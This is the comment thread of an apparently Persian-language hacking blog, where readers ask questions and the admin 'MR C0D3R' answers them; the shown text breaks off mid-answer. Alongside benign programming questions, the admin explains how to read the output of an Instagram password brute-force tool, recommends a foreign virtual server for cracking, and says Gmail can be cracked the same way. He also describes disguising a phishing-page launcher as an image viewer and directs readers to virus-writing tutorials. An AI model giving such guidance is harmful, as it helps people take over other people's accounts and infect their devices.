    دمت گرم داداش
    این اینگلیسی تایپیدنت خوب کار مارو راه میندازه
    بازم دمت گرم
    من قدیم بعضی وقت تا میومدم وبتون فک میکردم ادمینش دیگه فعالیت نمیکنه بعدش فهمیدم چند تا ادمین داره و فعالیت مستمری داره D:
    مشتی
    کجایی نیستی
    سوال دارم
    سلام شما بهترین سایت برای هک است من 1ماه این سایت را خوندم خیلی از شما ممنونم یه چیزی ساختم ببنید خوبه یه چیزی شبیه گاوصندوقه رمزش 7000است اینم لینکش کد مخربیم نداره
    http://s9.picofile.com/file/8339377468/safebox.bat.html
    در ضمن فعلا 12 سالمه و اینو از جایی کپی نکردم:)
    سلام بر تیم زحمت کش ویروس 32. شرمنده برنامه برای فیلمبرداری از صفه لپ تاپ برای ویندوز 7 سراغ دارید؟ ممنون میشم هر چی زود تر جواب بدید
    MR C0D3R :
    سلام
    راستش ویندوزش رو نمیدونم
    اما من خودم که از ویندوز 8 استفاده میکنم
    قبلا نرم افزار oCam نصب کرده بودم که اگه خواستی تو سایت های ایرانی پیدا میشه
    سلام مجدد
    اگه میشه نظرم رو * دار کنید
    اقا میگم من میخاستم یکم راهنماییم کنین. خاستم بگم من هیچی از هک و اینا نمیدونم . میخاستم یه مقدار یاد بگیرم ک بتونم ی درامدی داشته باشم مثلا ماهی حدود 1 تومن. یه سایتی رو اشنا شدم ک اموزش داشت .لینکشو میزارم الان. ب نظرتون خوبه این اموزشش ؟ کلا اگه میشه راهنماییم کنین در حوزه برنامه نویس یا هک یا هرچیزی ک بشه باش یه درامد حداقلی داشت.دانشجوعم و دست و بالم تنگه خیلی.نمیرسم برم بیرون و کار کنم. خاستم راهنماییم کنین ک بتونم یه سری مطلب یاد بگیرم ک بتونم یکم پول درارم و رو پایه خودم باشم. پیشاپیش تشکر داداش. خیلی نوکرم. متشکر ک بی مزد و منت کار میکنین.اجرتون با خدا
    MR C0D3R :
    نه اونا بدرد نمیخوره
    الکی کامنت و سر فصلاشو نخون و فکر نکن بدرد میخوره
    چون اونارو میتونی تک به تک از سایت های خارجی هم پیدا کنی
    من تا حالا به هک از دید در آمد نگاه نکردم
    بخاطر همین نمیدونم چطور میشه ازش پول در آورد ( البته چون میدونم کسی واقعا نمیره سراغش میگم که نمیدونم چطور میشه ازش کسب در آمد کرد ... )
    وگرنه اگه واقعا اگه کسی بخواد بره سمتش و حرفی برای گفتن داشته باشه
    هم میتونه کارای شخصی بکنه و هم دولتی ...
    خودشم هکر اولین چیزی که باید یاد بگیره برنامه نویسیه
    خب اگه اون برنامه نویس ، واقعا برنامه نویس باشه ( سی پلاس پلاس و جاوا و پایتون و از اینجور چیزا )
    بدون نیاز به یاد گرفتن هک و فقط با برنامه نویسی میتونه به مقدار چیزی که گفتی برسه و حتی بیشتر ...
    اما یاد گرفتن حرفه ای ، نه اینکه از اینور و اونور دو تا کد ببینیم و ویرایش کنیم و بگیم که عاغا ما برنامه نویسیم !
    دو تا کد ببینیم و ویرایش کنیم و بگیم که عاغا ما برنامه نویسیم !
    الان به من تکه اندانختی ای ای
    MR C0D3R :
    نه کلی گفتم
    البته ویرایش کردن کد بد نیست
    اما زمانی که بخوایم یه کد رو ببینیم و با دست خودمون
    پیشرفته ترش رو بنویسیم
    @mmd
    اگه دنبال کار هستی برنامه نویسی رو یاد بگیر هم کار هست و هم میتونی هکری باشی.
    سلام
    اقا من این نرم افزار insta bruce رو دانلود کردم .
    حالا چنتا سوال داشتم ک اگه میشه جواب بدین. ممنون .
    1.خیلی زمان بر هستش. سایتی رو نمیشناسین ک ما بتونیم پسورد لیستمون رو اپلود کنیم و خود اون سایت برامون تست کنه ک این همه حجمم نره ازمون ؟
    2.tested ها همیشه از bad ها بیشتره تعدادشون. میخاستم اگه میشه اینارو توضیح بدین.

    ببخشید اگه سوالام خنده داره.
    MR C0D3R :
    سلام
    نه سایتی سراغ ندارم
    تست شده ها یعنی اکانت هایی که تست شدن
    بد ها هم همون هایی هستش که با موفقیت روی سایت تست نشده و برنامه ردشون کرده
    و اینکه گفتی از حجمت کم میکنه
    همونطور که گفتم میتونین از سرور مجازی استفاده کنین
    3.من ی فیک پیج ساختم و امتحان کردم روش جواب ندا؟ :(
    میشه توضیح بدین
    MR C0D3R :
    میشه خودت بیشتر توضیح بدی ؟
    فیک پیج چی رو ساختی
    کجا امتحان کردی ؟ و ...
    اقا تشکر بابت سرعتت :)
    میگم ک من خودم یه فیک پیج اینستا ساختم . بعد دادم ب برنامه ک هک کنه. یه پسورد لیست 80 تایی بود ک پسورد خودمم توش بود . ولی نشد. (البته 80 تا تست نوشت بعد 62 تا bad ک من درومدم از برنامه ک با توضیحاتی ک دادی فک کنم باید تا اخر میموندم )
    این قضیه سرور مجازی رو اگه میشه شرحش بده برام
    دمت گرم
    MR C0D3R :
    فیک پیج ساختی و دادی که برنامه کرک کنه ؟
    فکر کنم داری اشتباه میکنی چون فیک پیج به یه چیز دیگه میگن
    معناشو تحلیل کن تو ذهنت ( صفحه جعلی )
    یعنی تو یه صفحه جعلی طراحی کردی و دادی که برنامه اون اکانت رو کرک کنه
    اونوقت نام کاربری اون صفحه جعلی چیه ؟ :(
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    منظورم این بود که یه پیج الکی ک یوزد و پسوردشو داشتم ساختم بعد توی بخش سینگل یوزر رو وارد کردم و ی پسورد لیست 20 تایی دادم ک پسورد اضلیم جزوش بود و کرک شد . اشتباه از من بود . ببخشید
    اقا ی سوال دیگه . اینطور کاری رو میشه یا جیمیلیم کرد؟ ینی پسورد لیست بدیم ب ی برنامه و برامون تست کنه؟
    یا اینکه روش ساده تری برای جیمیل هست؟
    اگه سرور مجازی یه ماهه بخرم میتونه کارمو راه بندازه واسه کرک ایسنتا؟
    از این سایت مثلا ***********************
    دمت گرم
    MR C0D3R :
    منم تقریبا همون حدس رو زده بودم
    آره میشه با جیمیل هم همچین کاری رو انجام داد
    مثلا این پست رو خوندی ؟
    من نمیدونم از کجا سرور بخری
    اما اینو میدونم نباید اون سروری که تهیه میکنی ایرانی باشه
    میشه بگید چطوری فیلمم رو توی آپارات بازدیدش رو افزایش بدم(هکش کنم)
    نمی خواهم پول بدهم آخه گرونه☺☺☺!!!!!
    اگه بلد هستید بگید(((((((((((((((((لطفاًًًًًًًًًًًًًًًًًً[
    MR C0D3R :
    نمیدونم
    @فرهنگ
    ببین با یه نرم افزار هایی میشه بازدید زد فقط نیاز به پروکسی داره
    من خودم قبلم استفاده میکردم اول باید پروکسی جمع اوری کنی(پروکسی شارک) بعدش
    لینک ویدیو رو بهش میدی هم میشه لایک زد و هم ویو
    تو نت سرچ کنی ممکن پیداش کنی
    بازم سلام :)
    بازم ممنون از اینکه پاسخ میدین
    میخاستم بدونم برای یادگیری برنامه نویسی تحت وب php مناسبه ؟ ک بشه درامدی هم داشت .
    منبع خوبی اگه میشناسین ( سایت . ویدیو . کتاب ) معرفی کنین
    ب نظرتون ب این سه مورد توی پرانتز کدوم برای یادگیری بهتره؟
    بازم ممنون
    MR C0D3R :
    فرقی نمیکنه برنامه نویسی وب یاد بگیری یا برنامه نویسی ویندوزی
    هر چی یاد بگیری مطمئن باش ضرر نمیکنی
    مثلا سی شارپ که تو مملکت ما جا افتاده
    میتونه برات سود آور باشه
    یا اینکه مثلا به قول خودت میتونی برنامه نویسی وب یاد بگیری
    چون برای وب نویسی و ... هم خیلی نیرو میگیرن
    اون سه تا مورد داخل پرانتز هم مربوط به شخص خودته
    مثلا شاید یکی با فیلم راحت باشه
    یکی با کتاب و یکی هم با سایت
    تو گوگل سرچ بزنی منابع زیاده
    سلام.
    بی زحمت اگه امکان داره آموزش ساخت کوین آپ رو قرار بدید
    سلام
    وب 32 VIRUS اونقدر بزرگ شده که من تو بعضی از کانال های بزرگ مطالب این سایت رو دیدم که به اشتراک گزاشتند!!
    {جهت انگیزش به ادامه فعالیت}
    MR C0D3R :
    سلام
    منم خیلی میبینم :)
    با اجازه ازت میخوام کپی بگیرم:)
    یه سوال دارم چجور رو مطالب رمز می زاری
    MR C0D3R :
    موقع انتشار مطالب
    پایین صفحه سمت چپ
    بخش تنظیمات مربوط به پست
    ممنون
  • Virus32
  • محمود لطفی
  • خیلی عالی و زیبا
    داداش سلام
    میشه تو یه تعریف ساده بهم بگی که سطح های دسترسی internal و protected internal
    چی هستن در مبحث شی گرایی؟؟؟
    سطح دسترسی خصوصی و عمومی و protected رو خودم متوجه شدم
    سلام
    خواستم بگم اولا وبلاگتون عالبه
    دومن این که اگه تو گوشی به فایل های روت دسترسی داشته باشیم و بخوایم cache های کروم یا فیل ای سکرت چت تلگرام رو پیدا کنیم کجا باید برویم؟
    یه سوال دیگه هم دارم چطور میشه به وسیله فقط آی پی یکی رو هک کرد؟
    خیلی خوبه وبسایتت مخصوصا اموزش های طلایید
    سلام
    کجایی نیستی
    سلام
    بیکاری الان؟
    MR C0D3R :
    سلام ، نه
    پس برو به جیمیلت که چند تا سوال دارم :)
    پس اینجا چکار میکنی برو به کارت برس
    ادرس وبلاگتو میدی؟
    با برنامه ی وایر شارک میشه اونایی که ستاره دار کردی رو خوند؟
    قال کدر:
    برنامه ای میخوام که پروکسی بگیره ازم و ویو بزنه واسه پست ها تو تلگرام
    داداش منبع خوبی برای آموزش سوکت پروگرمینگ داری ؟؟
    اگه هست میشه معرفی کنی ؟؟
    اگه دورش پولی هم باشه مشکلی نیس
    MR C0D3R :
    نه سراغ ندارم
    پول چرا ؟ :(
    سلام اگ میشه یکم از لینوکس چیزی بزارین D:::
    نه ، منظورم از پول این بود که اگه سایتی سراغ داری که مثلا اموزش هاشو گذاشته برای خرید ، اگه خوب باشه معرفی کنی
    MR C0D3R :
    آهان
    نه از اون نظرم سراغ ندارم
    قبلا یدونه آموزش برنامه نویسی سوکت تو سی شارپ داشتم که اونم الان ندارم :(
    و یه چیز دیگه ، اون برنامه های چت که نوشته میشن ، برای نوشتنشون باید سوکت نویسی بلد باشیم ؟؟ یا یه چیز دیگه ؟
    MR C0D3R :
    نه باید سوکت نویسی بلد باشیم
    سلام و عرض ادب
    من نرم افزار ویژیوال استادیو برای زبان سی میخام
    توی اینترنت پیداش نمیکنم ..یااینکه حجماشون خیلی بالاس ...شما سراغ دارین نرم افزارشو که حجم کمی داشته باشه؟
    سپاس:)
    MR C0D3R :
    سلام
    اگه ویژوالی که دیدی حجمش بالای 2 گیگه بگو
     یه منبع برات معرفی کنم برو دانلود کن
    ولی اگه زیر دو گیگه همونو دانلودش کن چون ویژوال حجمش بالاست
    چرا بعضی از سایتا نمیزارن از کل پهنای باند برای دانلود استفاده بشه هزینه داره براشون؟
    چکار سایت کردی که مینویسه امن نیست؟
    وقتی فایلی تو تلگرام اپلود میکنیم میشه ادرس لینک دانلودش رو برداریم وبا فیلتر شکن دانلود بشه
    هر روز به سایت سرمیزنم کلی جواب دارم ولی نمیپرسم :(
    MR C0D3R :
    سوالای تو به کنار
    سوالای کاربرای دیگه هم زیاده
    ولی متاسفانه من وقت ندارم که بخوام جواب بدم :(
    بخاطر همین یلخکی هر کدوم اومد زیر دستم همینجوری یه جواب میدم که میدونم آخرش نارضایتی به بار میاره :(
    قبلا یادته چه خوب جواب میدادم ؟ D:
    سلام
    من یه صفحه فیک ساختم ولی توی اینستاگرام لینکشو نمیشه توی دایرکت فرستاد. میخاستم ببینم میشه از طریق یه فایل اونت توی دایرکت فرستاد ؟ ینی طرف مثلا عکسو باز کنه و یهو وارد صفحه فیک بشه. تشکر زیااااااد
    MR C0D3R :
    سلام
    اگه یارو کامپیوتر داشت میتونستم بگم چطور درست کنی
    اما توی گوشی نمیشه اون حرکتیو که تو کامپیوتر میزنیم رو بزنیمش
    اره
    دلیلش اینه که طرفداراتون داره زیاد میشه[:))]
    ولی باور کن جوابای منم سخته دیگه D:
    راستی بعضی از سوالای کاربران رو من میدونم و سعی میکنم جواب بدم و بعضی از اموزشش ها هم من دارم مثل ساخت کویین اپ میتونم داخل وبم بزارم. نظرت چیه؟ [کدر جون]
    MR C0D3R :
    اصن معلومه خیلی سخته :( !!!
    بزاری داخل وبت ؟!
    بله!!!
    خیلی از پکیج های پولی مثل اموزش برنامه نویسی و اموزش های دیگه که تو سایت ها پولیه میتونم دانلود کنم بزارمش داخل وبم
    فک کردم چند خط جواب باشه کدرجان مشکوک میزنی خخخ
    MR C0D3R :
    خب کارت اشتباهه دیگه :)
    الان خوشحالی چیزی که یکی زحمت کشیده براش رو 
    همینجوری الکی رایگان برمیداری میزاری تو وبت ؟
    میدونی اگه ازت شکایت کنن چه اتفاقی برات میفته ؟
    اگه تو تلگرام پخش میکردی
    میگفتیم حالا بعضی وقتا از طریق بعضی از آسیب پذیری ها ردشو میزنن
    اما وقتی تو سایتت میزاری ، یعنی مستقیم دنبال دردسر میگردی
    سلم و خسته نباشین. میخواستم بدونم چجوری میشه آدرس مک گوشی رو عوض کرد. ممنون
    MR C0D3R :
    آموزشش طولانیه
    سرچ که بزنین تو سایت های ایرانی و خارجی آموزشش هست
    اگه واسه کامپیوترش رو بگین ممنون میشم.
    کلا ویروس نویسی رو هم بگین از کجا شرو کنم؟
    ممنون
    MR C0D3R :
    توی کامپیوتر میتونیم یه نرم افزار در قالب نرم افزار نمایش دهنده تصاویر ویندوز طراحی کنیم
    که داخلش یه پیکچر باکس داره و به جای اجرا شدن برنامه یه تصویر رو نشون میده که کاربر فکر کنه واقعا اون یه تصویره
    در حالی که داخل کد دستور اجرا شدن صفحه فیک رو میدیم
    قبلا این پست رو راجب اینکار نوشتیم که حتما پیشنهاد میکنم برنامه ی آماده رو دانلود کنی تا بهتر درک کنی منظورمو
    البته بهتره که شفافیت فرم ما بالا باشه چون قراره تصویر اجرا بشه و نه ویروس
    برای ویروس نویسی هم به این پست ( شروع ویروس نویسی ) سر بزن
    والا خیلی گشتم تو سایتها و نرم افزارهای زیادی رو امتحان کردم. اگه امکانش هست ی نرم افزاری ک واقعا کار کنه بهم معرفی کنید ممنون میشم. هزینشم هر چی باشه تقدیم میکنم.
    MR C0D3R :
    یه نرم افزار دارم اما ویروسیه ، میترسم بزارم تو اختیارتون :(
    اگه نرم افزاری پیدا کردم که روال باشه تو وب قرارش میدم
    سلامی دوباره
    داش کدر یه سوال:
    چند سال پیش یکی بود اسمش سورنا بود بیشترم سایتای ایرانیرو دیفیس میکرد.
    احیانا سورنا همین ویروس خودمون نیست؟؟
    MR C0D3R :
    نه
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    وجدان که دارم
    ولی بعضی موقع ها شبیه ادم بد میشم:(
    خوب گفتی
    به امید روزی که ادمین تیم ******** ویروس بشم خخخ
    خبر داری زبان برنامه نویسی نوپا YO رو متخصص های ایرانی طراحی کردند؟
    MR C0D3R :
    آره
    خیلی وقته که در جریانشم ...
    من اون موقع فهمیدم که تازه یه ویژگی بهش داده بودن
    که میشد از طریقش به برنامه Title یا همون عنوان داد
    سلام داداش یک سوال من رمز کامپیوترم رو گم گردم چطوری باز کنم ؟!
    اون پستی که گذاشته بودین قبلا اونو رفتم حتی نوار ر وهم میزارم میدم ریکاوری بیا اون قسمت ازم برای اینکه سی ام دی رو باز کنه رمز می خواد چیکار کنم !؟
    MR C0D3R :
    سلام
    راستیتش غیر از اون روش ، روش دیگه ای بلد نیستم
    مگر اینکه نرم افزارهایی رو از تو نت پیدا کنی که وقتی رایتش کردی روی سی دی و بوت سیستم رو روی اون قرار دادی
    خودش بطور خودکار یکسری کارارو انجام بده و رمزش رو برداره
    یا اینکه ویندوزتو عوض کنی ...
    بعدش میتونی از این پست استفاده کنی و روی بکدورتم رمز بزاری که آموزش گذاشتن رمز روی بکدور هم بعدا بهتون میگم ...
    داداش این اندپوینت endpoint تو شبکه مفهومش چیه ؟؟ و کابردش هم تو چی هستش ؟؟
    و تو سوکت نویسی به چه دردمون می خوره ؟؟؟
    MR C0D3R :
    با استفاده از این کلاس میتونیم آی پی و پورت رو مشخص کنیم
    یا اینکه میشه گف